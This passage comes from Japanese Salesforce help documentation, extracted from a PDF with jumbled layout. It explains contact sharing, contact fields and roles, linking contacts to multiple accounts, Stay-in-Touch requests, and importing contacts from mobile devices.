
使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先責任者を他のユーザと共有すると、営業チーム内での連携が容易になり
ます。
他のユーザと取引先責任者レコードを共有するには、そのユーザに取引先責任
者に対する「参照」権限が必要です。共有する取引先責任者レコードに取引先
が関連付けられている場合、取引先レコードを共有する権限を持っている場合
のみ、取引先も共有されます。
1. 取引先責任者の詳細ページで、[共有] をクリックします。

共有の詳細ページには、取引先責任者への共有アクセス権を持つユーザ、グ
ループ、ロール、およびテリトリーが一覧表示されます。

2. 共有の詳細ページから、次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー] ドロップダウンリストから事前定義済みのリストを

選択するか、[新規ビューの作成] をクリックして、自分専用のカスタムビューを定義します。
• 作成したビューを編集または削除するには、[ビュー] ドロップダウンリストから選択し、[編集] をク

リックします。
• レコードへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張] をクリックします。
• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス権を付与するには、[追加]

をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集]か [削除]をクリッ

クすると、アクセスレベルを編集または削除できます。
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3. 変更内容を保存します。

関連トピック:

取引先責任者
取引先責任者の表示および管理のガイドライン
取引先責任者の取引先の変更に関する考慮事項
取引先責任者の共有とアクセスに関する考慮事項

取引先責任者の共有とアクセスに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先責任者レコードの共有とアクセスに関して認識しておく必要のある事項
について説明します。
• テリトリー管理や個人取引先のある組織では、取引先責任者の共有を使用で

きません。
• 組織のデフォルトのアクセスレベルを超えて取引先責任者へのアクセス権を

制限することはできません。
• 行動に取引先責任者やリードを招集するには、少なくともその取引先責任者

やリードに対する「参照」権限が必要です。行動にリソースを招集するに
は、少なくともそのリソースに対する「行動の追加」権限が必要です。

• 取引先に関連付けられていない取引先責任者は、組織の共有モデルに関係な
く、常に非公開になります。参照できるのは、取引先責任者の所有者および
システム管理者だけです。非公開の取引先責任者には、共有ルールおよびワークフロールールが適用され
ません。組織でディビジョンを使用している場合は、非公開の取引先責任者は常にグローバルディビジョ
ンに属します。

• 付与される側に取引先へのアクセス権がない場合、その取引先を共有する権限がなければ、取引先責任者
を共有できません。

• 取引先責任者に対する組織の共有設定が [親レコードに連動] に設定されている場合に、取引先などの関連
レコードを共有するときは、[取引先責任者のアクセス権] オプションを使用できません。代わりに、取引
先責任者の取引先に対するユーザのアクセス権によって、取引先責任者に対するすべてのアクセス権が決
まります。

• 取引先責任者に対する組織の共有設定が [親レコードに連動]で、取引先に対する組織の共有設定が [非公開]

の場合、取引先オブジェクトに対する「すべての参照」権限があっても、所有していない取引先の取引先
責任者を表示することはできません。ただし、取引先の取引先責任者を所有している場合は、同じ取引先
の他の取引先責任者を表示できます (親取引先へのアクセス権によって、関連付けられた子レコードへのア
クセス権が付与されるため)。

1451

一緒に仕事をしているユーザの追跡顧客への営業



取引先責任者の項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者には、次の項目があります (アルファベット順に並べてあります)。
項目が使用できるかどうかは、システム管理者の Salesforce 設定によって決まり
ます。

説明項目

取引先責任者がリンクされている取引
先。取引先名を入力するか、リストか
ら取引先を選択するか、取引先を作成
します。非公開の取引先責任者には取
引先を設定できません。

取引先名

カスタマーポータルへのアクセスを許
可している場合、この項目を選択する

カスタマーポータルのセルフ登録を許可

と、取引責任者はカスタマーポータル
にセルフ登録できます。

取引先責任者のアシスタント。最大 40

文字です。
アシスタント

アシスタントの電話番号。最大 40 文字
です。

アシスタント電話

取引先責任者の誕生日。項目をクリッ
クし、カレンダーから日付を選択しま
す。

誕生日

取引先責任者の、すべての通貨金額項
目のデフォルト通貨。金額は取引先責

取引先責任者 通貨

任者通貨で表示され、ユーザ個人設定
の通貨に変換されます。マルチ通貨が
使用されている場合に表示されます。

取引先責任者が属するディビジョン。
この値は、関連する取引先から継承さ
れます。
ディビジョンを使用してデータを分割
している場合に使用できます。

取引先責任者 ディビジョン

取引先責任者に割り当てられた所有
者。Personal Edition では利用できませ
ん。

取引先責任者 所有者

どのような選択リスト値がそのレコー
ドで使用可能かを決定する項目名。使

取引先責任者レコードタイプ

用可能なエディションは、Professional

Edition、Enterprise Edition、Unlimited
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説明項目

Edition、Performance Edition、および Developer Edition で
す。

取引先責任者を作成したユーザ。作成日時も含まれま
す。参照のみです。

作成者

システム管理者が設定した取引先責任者のカスタムリ
ンクのリスト。

カスタムリンク

法人または組織の関連付けされた部署。最大 80 文字
です。

部署

取引先責任者の説明。最大 32 KB のデータです。レポー
トには、最初の 255 文字が表示されます。

説明

取引先責任者のメールアドレス。有効なメールアドレ
スが必要です。最大 80 文字です。
この項目のメールアドレスをクリックすると、ユーザ
の個人用メールアプリケーションを使用してメールが

メール

送信されます。この活動は、取引先責任者レコードに
活動としてログ記録されません。
Gmail ボタンとリンク機能が有効な場合、項目の横に
あるGmailリンクをクリックして、Gmailアカウントか
らメールを送信できます。

取引先責任者の FAX 番号。最大 40 文字です。Fax

取引先責任者編集ページに表示される取引先責任者の
名。最大 40 文字です。

名

ローカル言語に翻訳された取引先責任者の名。名(ローカル)

取引先責任者の自宅電話番号。最大 40 文字です。自宅電話

取引先責任者項目を最後に変更したユーザ。変更日時
も含まれます。この項目では、取引先責任者の関連リ

最終更新者

スト項目のいずれかに行った変更は追跡しません。参
照のみ。

取引先責任者編集ページに表示される取引先責任者の
姓。最大 80 文字です。

姓

ローカル言語に翻訳された取引先責任者の姓。姓(ローカル)

最後に登録情報照会が送信された日付。登録情報照会 最終依頼日

最後に登録情報照会が返されてマージされた日付。登録情報照会 最終更新日
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説明項目

広告、パートナー、Web などのレコードソース。エン
トリは、システム管理者が設定した有効な選択リスト

リードソース

値から選択されます。選択リスト値ごとに最大 40 文
字です。

郵送先住所の市区郡。最大 40 文字です。市区郡(郵送先)

郵送先住所の国。最大 80 文字です。国(郵送先)

郵送先住所の都道府県。最大 80 文字です。都道府県(郵送先)

郵送先住所の町名・番地。最大 255 文字です。町名・番地(郵送先)

郵送先住所の郵便番号。最大 20 文字です。郵便番号(郵送先)

取引先責任者編集ページに表示される取引先責任者の
ミドルネーム。最大 40 文字です。
この項目を有効化するには、Salesforce カスタマーサ
ポートにお問い合わせください。次に、[設定] から、

ミドルネーム

[クイック検索]ボックスに「ユーザインターフェース」
と入力し、[ユーザインターフェース]を選択します。
その後で、[個人名のミドルネームを有効化]を選択し
ます。

ローカル言語に翻訳された取引先責任者のミドルネー
ム。
この項目を有効化するには、Salesforce カスタマーサ
ポートにお問い合わせください。次に、[設定] から、

ミドルネーム(ローカル)

[クイック検索]ボックスに「ユーザインターフェース」
と入力し、[ユーザインターフェース]を選択します。
その後で、[個人名のミドルネームを有効化]を選択し
ます。

取引先責任者の携帯電話番号。最大 40 文字です。携帯

取引先責任者詳細ページに表示される取引先責任者の
名、ミドルネーム、姓、サフィックスを合わせたも
の。

名前

取引先責任者の住所の市区郡(その他)。最大 40 文字で
す。

市区郡(その他)

取引先責任者の別の住所の国。エントリは標準値の選
択リストから選択するか、テキストとして入力しま
す。項目がテキスト項目の場合は、最大 80 文字です。

国(その他)
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説明項目

取引先責任者の別の住所の都道府県。エントリは標準
値の選択リストから選択するか、テキストとして入力

都道府県(その他)

します。項目がテキスト項目の場合は、最大 80 文字
です。

取引先責任者の住所の町名・番地(その他)。最大 255

文字です。
町名・番地(その他)

取引先責任者の住所の郵便番号(その他)。最大 20 文字
です。

郵便番号(その他)

取引先責任者の電話番号(その他)。最大 40 文字です。電話(その他)

取引先責任者の主電話番号。最大 40 文字です。電話

取引先責任者のマネージャの名前。取引先責任者の名
前を入力するか、リストから取引先責任者を選択しま
す。

上司

様、教授など、取引先責任者を示す敬称。エントリ
は、システム管理者が設定した有効な選択リスト値か
ら選択されます。最大 40 文字です。

敬称

取引先責任者編集ページに表示される取引先責任者の
名前の肩書き。最大 40 文字です。
この項目を有効化するには、Salesforce カスタマーサ
ポートにお問い合わせください。次に、[設定] から、

肩書き

[クイック検索]ボックスに「ユーザインターフェース」
と入力し、[ユーザインターフェース]を選択します。
その後で、[個人名のミドルネームを有効化]を選択し
ます。

組織内の取引先責任者の職位。最大 80 文字です。役職

セルフサービスの取引先責任者用のみ。[ユーザ名]

はデフォルトで [メール] です。取引先責任者は、セ
ユーザ名

ルフサービスポータルにログインするときにユーザ名
を入力します。

メモ:  Spring '12 以降、新しい組織ではセルフサー
ビスポータルを利用できません。既存の組織は、
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説明項目

引き続きセルフサービスポータルを使用できま
す。

関連トピック:

取引先責任者の作成に関する考慮事項
取引先責任者の取引先の変更に関する考慮事項

取引先責任者の役割の項目

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者の役割では、取引先、ケース、契約、または商談で取引先責任者
または個人取引先が果たす役割を定義します。取引先責任者の役割には次の項
目があります。Lightning Experience では [商談] 項目も含まれます。

説明項目

取引先責任者または個人取引先の名
前。既存の取引先責任者を選択する
か、新しい取引先責任者を作成しま
す。

取引先責任者

ユーザを選択すると、レコードの主取
引先責任者として識別されます。
[主]オプションは、ケースには使用で
きません。代わりに、ケースレコード

主

の [取引先責任者名] 項目にリストさ
れている取引先責任者が自動的に主取
引先責任者になります。

レコードの取引先責任者の役割。シス
テム管理者は、この選択リストの選択
肢をカスタマイズできます。

役割

取引先責任者の役割の追加と管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

各取引先責任者または個人取引先がビジネスプロセスで果たす役割を指定しま
す。

Lightning Experience での取引先責任者の役割の追加と管理
ビジネスプロセスで各取引先責任者が果たす役割を指定するには、取引先責
任者の役割を商談または契約に追加します。
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Salesforce Classic での取引先責任者の役割の追加と管理
ビジネスプロセスで各取引先責任者が果たす役割を指定するには、取引先責任者の役割を取引先、ケース、
契約、および商談に追加します。

Lightning Experience での取引先責任者の役割の追加と管理

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

取引先責任者の役割を追
加または編集する
• 取引先責任者の役割が

あるオブジェクト (取
引先、商談など) に対
する「編集」

および

取引先責任者に対する
「参照」

取引先責任者の役割を参
照する
• 取引先責任者の役割が

あるオブジェクト (取
引先、商談など) に対
する「参照」

ビジネスプロセスで各取引先責任者が果たす役割を指定するには、取引先責任
者の役割を商談または契約に追加します。

重要: Lightning Experienceでは、取引先責任者の役割は商談と契約に使用でき
ます。各使用可能なオブジェクトでほぼ同じように機能しますが、それぞ
れ独立して動作します。そのため、オブジェクトごとに個別に設定して使
用する必要があります。

1. 商談または契約の [取引先責任者の役割] 関連リストで、[取引先責任者の役割
の追加] をクリックします。

2. [取引先責任者] 項目をクリックして、取引先責任者または個人取引先を選択
します。必要に応じて、[新規取引先責任者] をクリックして取引先責任者を
作成します。

3. 取引先責任者の役割を選択します。役割を選択しない場合でも、取引先責任
者が [取引先責任者の役割] 関連リストに追加され、後で編集できます。

4. 必要に応じて、レコードの主取引先責任者を指定します。
5. 変更内容を保存します。
6. 必要に応じてレコードの [取引先責任者の役割] を編集、削除し、最新の状態

を維持します。

例:  AW Computing では、Mary Smith がすべての提案を評価し、最終的な決断
をする Tom Jones に転送します。AW Computing の商談レコードで Mary Smith

を [Evaluator] に指定し、Tom Jones を [Decision Maker] に指定します。これで、
最初の問い合わせ先がわかるようになりました。

関連トピック:

取引先責任者の役割を使用する場合の考慮事項
取引先責任者の役割の項目
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Salesforce Classic での取引先責任者の役割の追加と管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

取引先責任者の役割を追
加または編集する
• 取引先責任者の役割が

あるオブジェクト (取
引先、ケース、契約、
商談など) に対する
「編集」

および

取引先責任者に対する
「参照」

取引先責任者の役割を参
照する
• 取引先責任者の役割が

あるオブジェクト (取
引先、ケース、契約、
商談など) に対する
「参照」

ビジネスプロセスで各取引先責任者が果たす役割を指定するには、取引先責任
者の役割を取引先、ケース、契約、および商談に追加します。

重要: Salesforce Classic では、取引先責任者の役割は取引先、商談、ケース、
契約で使用できます。Lightning Experience では、取引先責任者の役割は商談
と契約で使用できます。取引先責任者の役割は各使用可能なオブジェクト
でほぼ同じように機能しますが、それぞれ独立して動作します。そのため、
オブジェクトごとに個別に設定して使用する必要があります。

1. 取引先、ケース、契約、または商談の [取引先責任者の役割] 関連リストで[新
規] をクリックします。

2. ルックアップアイコンを使用して、取引先責任者または個人取引先を選択し
ます。必要に応じて、[新規] をクリックして取引先責任者を作成します。

3. 取引先責任者の役割を選択します。
4. 必要に応じて、レコードの主取引先責任者を指定します。ケースにはこのオ

プションがありません。
5. 変更内容を保存します。
6. 必要に応じてレコードの [取引先責任者の役割] を編集、削除し、最新の状態

を維持します。

例:  AW Computing では、Mary Smith がすべての提案を評価し、最終的な決断
をする Tom Jones に転送します。AW Computing の商談レコードで Mary Smith

を [Evaluator] に指定し、Tom Jones を [Decision Maker] に指定します。これで、
最初の問い合わせ先がわかるようになりました。

関連トピック:

取引先責任者の役割を使用する場合の考慮事項
取引先責任者の役割の項目
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取引先責任者-to-複数取引先

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

個人が複数の会社で仕事をしていることはよくあります。ビジネス所有者が複
数の会社を所有していることもあれば、コンサルタントが複数の組織の代理人
を務めていることもあります。1 つの取引先責任者を、複数の取引先に関連付け
ると、重複レコードを作成することなく、個人と法人間のリレーションを簡単
に管理できます。
取引先責任者-to-複数取引先を使用する場合でも、各取引先責任者には主取引先
([取引先名] 項目の取引先) を設定する必要があります。取引先責任者と主取引
先の間には直接リレーションがあります。ただし、他の取引先を取引先責任者
に追加できます。これらの副取引先と取引先責任者のリレーションは間接です。
取引先責任者-to-複数取引先は、個人取引先で機能します。つまり、個人取引先
を法人取引先の関連取引先責任者または取引先責任者の関連取引先にすること
ができます。個人取引先は、関連取引先責任者または関連取引先として別の個
人取引先に関連付けることもできます。個人取引先を取引先または取引先責任
者に関連付けると、リレーションは常に間接的になります。個人取引先には主
取引先はないので、個人取引先を法人取引先に直接関連付けることはできません。また、個人取引先は取引先
責任者の主取引先にはできないので、個人取引先を取引先責任者に直接関連付けることはできません。

例:  John Smith は Acme Corporations の社長であり、Acme は John の取引先責任者レコードの取引先です。他
方、John は Greendot Media という非営利メディア組織にも関与しています。Greendot Media を John の取引先
責任者レコードの関連取引先として追加すると、この別のリレーションを追跡できます。Acme は John の
取引先責任者レコードの取引先であるため、John は Acme に対する直接取引先責任者とみなされます。
Greendot Media、および John が関連する他の取引先に対しては、間接取引先責任者とみなされます。John
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は Greendot Media および John が間接的に関連する他の取引先の [関連取引先責任者] 関連リストにも表示さ
れます。

関連トピック:

取引先責任者-to-複数取引先とその他のオプションとの比較
取引先責任者と取引先の間のリレーションの作成と編集
取引先責任者の複数の取引先への関連付けに関する考慮事項

取引先責任者と取引先の間のリレーションの作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先と取引先責任者の
間のリレーションを作
成、編集、または削除す
る
• 取引先に対する「参

照」、取引先責任者に
対する「編集」

取引先と取引先責任者の
間のリレーションを参照
する
• 取引先と取引先責任者

に対する「参照」

担当する個人と法人の間のリレーションを簡単に追跡するには、1 つの取引先責
任者レコードを複数の取引先レコードに関連付けます。
1. 取引先レコードから、[関連取引先責任者] 関連リストを使用して、取引先と

取引先責任者または取引先と個人取引先間のリレーションを作成または編集
できます。
a. リレーションを作成する場合は、[リレーションを追加] をクリックしま

す。
b. 既存のリレーションを編集する場合は、[リレーションを表示] (Salesforce

Classic) または [リレーションを表示] (Lightning Experience) をクリックします。
続いて、[リレーションを編集] をクリックします。

2. 取引先と取引先責任者間のリレーション情報を入力します。

メモ: [直接]項目は、取引先責任者と関連付けられた取引先が取引先責
任者の主取引先かどうかを示します。この項目は、取引先責任者の [取
引先名] 項目に基づいてシステムが生成する項目のため、参照のみで
す。取引先責任者と取引先の間の直接リレーションを削除するには、取
引先責任者の主取引先を変更するか、取引先責任者を削除します。個人
取引先には常に法人取引先への間接リレーションが含まれます。

3. 変更内容を保存します。
取引先責任者または個人取引先レコードで取引先と取引先責任者のリレーショ
ンを作成および編集するには、[関連取引先] 関連リストを使用します。

関連トピック:

取引先責任者-to-複数取引先
取引先責任者の複数の取引先への関連付けに関する考慮事項
取引先と取引先責任者のリレーション項目
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取引先責任者の複数の取引先への関連付けに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

1 つの取引先責任者を複数の取引先に関連付ける前に潜在的な問題を把握する必
要があります。

一般情報
• 取引先責任者レコードの [取引先名] 項目にある取引先が、取引先責任者の

主取引先です。取引先責任者と主取引先のリレーションは直接リレーション
です。取引先責任者に関連付けられているその他のすべての取引先は間接リ
レーションです。

• 取引先責任者と取引先の間の直接リレーションを削除するには、取引先責任
者の主取引先を変更するか、取引先責任者を削除します。

• 取引先と取引先責任者のリレーションは、データローダでインポートできま
すが、データインポートウィザードではインポートできません。

• カスタマーコミュニティユーザライセンスを持つコミュニティユーザは、取
引先と取引先責任者の間接リレーションを参照できません。

取引先と取引先責任者のリレーション
• すべての直接取引先責任者は、取引先レコードの [関連取引先責任者] 関連リストに自動的に含まれるため、

システム管理者がページレイアウトから [取引先責任者] 関連リストを削除している場合があります。
• 特定の取引先へのアクセス権がある場合、参照アクセス権がある関連取引先責任者が [関連取引先責任者]

関連リストに表示されます。特定の取引先責任者へのアクセス権がある場合、すべての関連取引先が [関連
取引先] 関連リストに表示されますが、開くことができるのは参照アクセス権がある取引先のみです。

• 取引先と取引先責任者の間の間接リレーションを作成する場合は、取引先責任者に主取引先がある必要が
あります。非公開の取引先責任者では作成できません。

• 取引先と取引先責任者のリレーション詳細ページで新規取引先責任者は作成できません。
• 取引先責任者の主取引先を変更することで、主取引先をそれ以外に変更するワークフロールールがトリガ

される場合、選択した取引先責任者と取引先間のリレーションは間接リレーションとして保存されます。
これは、システム管理者が以前のリレーションを保存するように設定している場合のみ有効です。

• 最後に使用した項目の一部のリスト (取引先責任者参照項目など) には直接リレーションのみが表示されま
す。

マージ
• 同じ取引先に間接的に関連する取引先責任者をマージしようとすると、重複するリレーションの削除を指

示するエラーメッセージが表示されます。同じ取引先責任者に間接的に関連付けられている取引先をマー
ジする場合も同様です。エラーメッセージには、マージできない原因となっている取引先–取引先責任者の
リレーションが、レコードへのアクセス権があるかどうかに関わらず表示されます。レコードへのアクセ
ス権がない場合は、そのレコードに移動できません。

• 個人取引先をマージする場合、取引先との間接リレーションと取引先責任者との間接リレーションは別個
に評価されます。両方と競合している場合、2 つのエラーが表示され、それらを個別に解決する必要があり
ます。

1461

一緒に仕事をしているユーザの追跡顧客への営業



Mircosoft インテグレーション
• Salesforceと Microsoft Outlook 間で取引先責任者を同期する場合、主取引先リレーションのみが同期されます。
• Outlook の取引先責任者から取引先名を削除すると、取引先責任者に Salesforce の他の取引先とのリレーショ

ンがある場合に、Salesforce への正常な同期が行われません。

システム管理者の設定
• 他の取引先に関連付けられている直接取引先責任者がある取引先を削除しようとする場合、システム管理

者が指定した取引先設定によって結果が異なります。取引先の削除がブロックされる場合と取引先を削除
できる場合があります。取引先を削除できる場合、直接取引先責任者は、他の取引先へのリレーションの
有無にかかわらず、すべて自動的に削除されます。

• 取引先責任者の主取引先を変更する場合、以前の取引先リレーションへの影響は、システム管理者が指定
した取引先設定によって異なります。取引先責任者と以前の主取引先の間のリレーションは、削除される
場合と間接リレーションとして保存される場合があります。

• 活動が取引先責任者の親取引先に積み上げ集計されるかどうかは、システム管理者が指定した活動設定に
よって異なります。

関連トピック:

取引先責任者-to-複数取引先
取引先責任者と取引先の間のリレーションの作成と編集

取引先と取引先責任者のリレーション項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先責任者-to-複数取引先により、取引先と取引先責任者のリレーションオブ
ジェクトを使用して、1 つの取引先責任者を複数の取引先に関連付けることがで
きます。ページレイアウトと項目レベルセキュリティ設定によって、表示可能
な項目や編集可能な項目が決まります。

説明項目

取引先責任者が関連する会社の名前。取引先

取引先責任者が会社と積極的にかか
わっているかどうかを示します。

有効

取引先に関連する個人の名前。取引先責任者

取引先責任者と関連付けられた取引先
が取引先責任者の主取引先かどうかを
示します。この参照のみ項目は、取引

直接

先責任者レコードの [取引先名] 項目
で決まります。たとえば、Acme 取引先
レコードの [関連取引先責任者] 関連リ
ストには [取引先名] 項目に Acme があ
るすべての取引先責任者が自動的に含
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説明項目

まれ、直接取引先責任者としてマークされます。

取引先責任者と取引先のリレーションが開始された日
付。[開始日] 項目と共に使用してリレーションの履
歴を保持します。

終了日

取引先責任者の取引先でのロール。バイヤー、意思決
定者、評価者など。1 つの取引先責任者に複数のロー
ルを選択できます。

ロール

取引先責任者と取引先のリレーションが終了した日
付。[終了日] 項目と共に使用してリレーションの履
歴を保持します。

開始日

関連トピック:

取引先責任者-to-複数取引先
取引先責任者と取引先の間のリレーションの作成と編集

登録情報照会の返信を使用した取引先責任者の詳細の更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

取引先責任者の登録情報照会メールの返信を使用して、取引先責任者レコード
を更新します。

メモ: 登録情報照会は、Summer '17 以降すべての Salesforce 組織で廃止される
予定です。詳細は、「Stay-in-Touch Request Retirement」を参照してください。

1. 受信した登録情報照会メールの返信から、[今すぐ更新] リンクをクリックし
ます。

2. 新しい値と元の値を確認します。
3. 新しいデータを保存する場合は [変更を受け入れる] をクリックし、更新を無視して元の値を保持する場合

は [変更を受け入れない] をクリックします。

関連トピック:

登録情報照会による取引先責任者の更新
登録情報照会設定の編集
一括登録情報照会による複数のユーザへの取引先責任者更新情報の要求
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一括登録情報照会による複数のユーザへの取引先責任者更新情報の要求

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

一括登録情報照会更新を
送信する手順は、次のと
おりです。
• 「メールの送信」

および

「登録情報照会の送
信」

同時に複数の取引先責任者または個人取引先に更新情報を要求するには、一括
登録情報照会ウィザードを使用します。

メモ: 登録情報照会は、Summer '17 以降すべての Salesforce 組織で廃止される
予定です。詳細は、「Stay-in-Touch Request Retirement」を参照してください。

1. 取引先責任者のホームページの [ツール] で、[一括登録情報照会] をクリック
します。Salesforce 組織で個人取引先を使用している場合は、取引先ホーム
ページにもリンクがあります。

2. 更新情報を要求する取引先責任者と個人取引先のリストビューを選択しま
す。また、ここでリストビューの編集や作成もできます。

3. [Go] をクリックします。
4. 要求の送信先ユーザを選択します。

メールアドレスが記載されているレコードのみ選択できます。[メール送信除
外] オプションが選択されているレコードは、一括メール送信ができないた
め、リストビューに表示されません。

5. [次へ] をクリックします。
6. メールテキストを確認します。必要に応じて、登録情報照会の設定を編集します。
7. [送信] をクリックします。
受信者が最新の情報を記載して返信したら、返信内のリンクを使用して取引先責任者レコードを更新します。

関連トピック:

登録情報照会による取引先責任者の更新
登録情報照会の返信を使用した取引先責任者の詳細の更新
登録情報照会設定の編集

ポータルに対して有効化された取引先責任者の取引先の変更に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ポータルに対して有効化された取引先責任者の取引先を変更する前に、次の重
要事項を考慮してください。
• 外部ユーザは、以前の取引先から自分のケースおよび商談にアクセスできま

す。
• パートナーポータルが有効になっている取引先責任者は、パートナーポータ

ルが有効になっている取引先にのみ移行できます。
• 取引先責任者のポータルロールは、移行される取引先の名前に一致するよう

自動的に更新されます (ただし、ロールを持たない大規模カスタマーユーザ
ではない場合)。たとえば、ポータルロール「取引先 A のカスタマーユーザ」は「取引先 B のカスタマーユー
ザ」となります (ポータルロールの名前に関連する取引先の名前が含まれるため)。ポータルロールは各取
引先に対して一意であり、Salesforce 組織のロール階層の取引先所有者のロールの下にあります。
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• 取引先間でポータルユーザを移行すると、ポータルユーザのロールが更新されるため、パートナーユーザ
を別の取引先に移行すると、次のことが実行されます。
– 各取引先の商談は、Salesforce 組織の売上予測階層で再計算されます。
– パートナーユーザが所有する商談の所有権は、以前の取引先に残ります。

• パートナーユーザの代理管理者およびカスタマーユーザの代理管理者は、移行先である取引先のポータル
ユーザを更新することができます。

関連トピック:

取引先責任者と個人取引先に対するカスタマーポータルの有効化
取引先責任者と個人取引先のセルフサービスの有効化
外部ユーザの代理管理
salesforce_partner_portal_guide.pdf

モバイルデバイスの取引先責任者リストから Salesforce への取引先責任者のイ
ンポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce1 アプリケーションを使用してモバイルデバイスの取引先責任者リスト
から Salesforce に取引先責任者をインポートすることで、営業担当は時間を節約
して入力ミスを防ぐことができます。この機能は、Salesforce1 ダウンロード可能
アプリケーションのみで使用できます。
1. Salesforce1 で、取引先責任者を作成した場所に移動します。
2. [デバイスからインポート] をタップして、デバイスの取引先責任者リストを

開きます。
3. 取引先責任者を選択します。
4. Salesforce で取引先責任者を取引先と関連付けるには、Salesforce の取引先責任者レコードに移動し、取引先

を追加します。
モバイルデバイスから取引先責任者をインポートするときは、次の項目がデバイスの取引先責任者からSalesforce

の取引先責任者に対応付けられます。
• メール
• 自宅電話
• 市区郡(郵送先)

• 国(郵送先)

• 取引先責任者 郵便番号(郵送先)

• 都道府県(郵送先)

• 町名・番地(郵送先)

• 携帯
• その他の電話
• 電話
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メモ: 場合によっては、ローカルデバイスからの対応付けでは、期待どおりに Salesforce1 の取引先責任者
レコードに対応付けられないことがあります。

関連トピック:

モバイルデバイスから取引先責任者をインポートする場合の考慮事項

モバイルデバイスから取引先責任者をインポートする場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

モバイルデバイスの取引先責任者リストから取引先責任者をSalesforceにインポー
トする場合の注意事項について説明します。
• Salesforce1を使用して取引先責任者を Android または iOS デバイスから、州選択

リストおよび国選択リスト項目が有効になっているSalesforce組織にインポー
トする場合、[都道府県] 項目には入力されません。

• モバイルデバイスの取引先責任者に携帯電話項目が複数あり、Salesforce の
[電話] 項目が空の場合は、次のとおり処理されます。
– 1 つ目の携帯電話項目が Salesforce の [電話] 項目に対応付けられます。
– 2 つ目の携帯電話項目は Salesforce の [携帯] 項目に対応付けられます。

• モバイルデバイスからメールを選択すると、Salesforce1 は通常 2 つ目のメールアドレスの場所を取り込みま
す。デバイスで表示ラベルが作成されている場合は、インテグレーションによって、ローカルの仕事用メー
ルアドレスから Salesforce の標準の取引先責任者メールアドレスへの対応付けが試行されます。
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Salesforce 内で必要な高品質のデータの取得
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで Data.com Social Key
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ビジネスを成功させる鍵となるのが高品質のデータです。データの質が高いと
いうことは、レコードが完全かつ最新の状態であることを意味します。つまり、
会社の人々と適切につながっていることになり、商談を成立させ、ビジネスを
拡大するために必要な情報が備わっているということです。簡単に言うと、高
品質のデータにより、厳密な理解、適応、焦点の絞り込み、実行が可能になり
ます。Data.comには、ビジネスで必要なときに必要な高品質のデータを提供する
製品スイートが用意されています。そのため、データの入力や更新に費やす時
間が短縮され、ビジネスの成長により多くの時間を割くことができます。
すべての Salesforce 組織で利用できる Data.com の無料バージョンには、次の機能
が備わっています。
• Professional Edition 以上を使用する組織では、システム管理者が重複管理ツール

を使用して、ユーザがSalesforce内に重複レコードを作成できるかどうか、お
よび作成可能な状況を制御できます。システム管理者は、重複の識別に使用
するロジックをカスタマイズしたり、ユーザが保存可能な重複に関するレ
ポートを作成したりできます。

• すべてのユーザは、Data.com の取引先および取引先責任者データベースをす
べて検索できます。ただし、無料バージョンのユーザは、取引先責任者の電
話番号とメール情報の表示、取引先カードまたは取引先レコードの D&B デー
タの表示、レコードのSalesforceへの追加、レコードのクリーンアップはでき
ません。Data.com のデータを最大限活用するには、Data.com のライセンスを
購入して機能を設定します。

Data.com 製品スイートには、Data.com Prospector、Data.com Clean、およびデータイ
ンテグレーションが含まれます。

メモ:  Performance Edition を使用する組織では、Data.com Prospector と Data.com

Clean がユーザに自動的に提供されます。

Data.com Prospector

重要な Dun & Bradstreet の企業情報とクラウドソーシングした数百万もの取引
先責任者を検索して、ビジネスに必要なレコードを見つけるには、Data.com

Prospector を使用します。これらのレコードを新しい取引先、取引先責任者、およびリードとして Salesforce

に追加したり、他のアプリケーションで使用できるようにエクスポートしたりします。これは、営業テリ
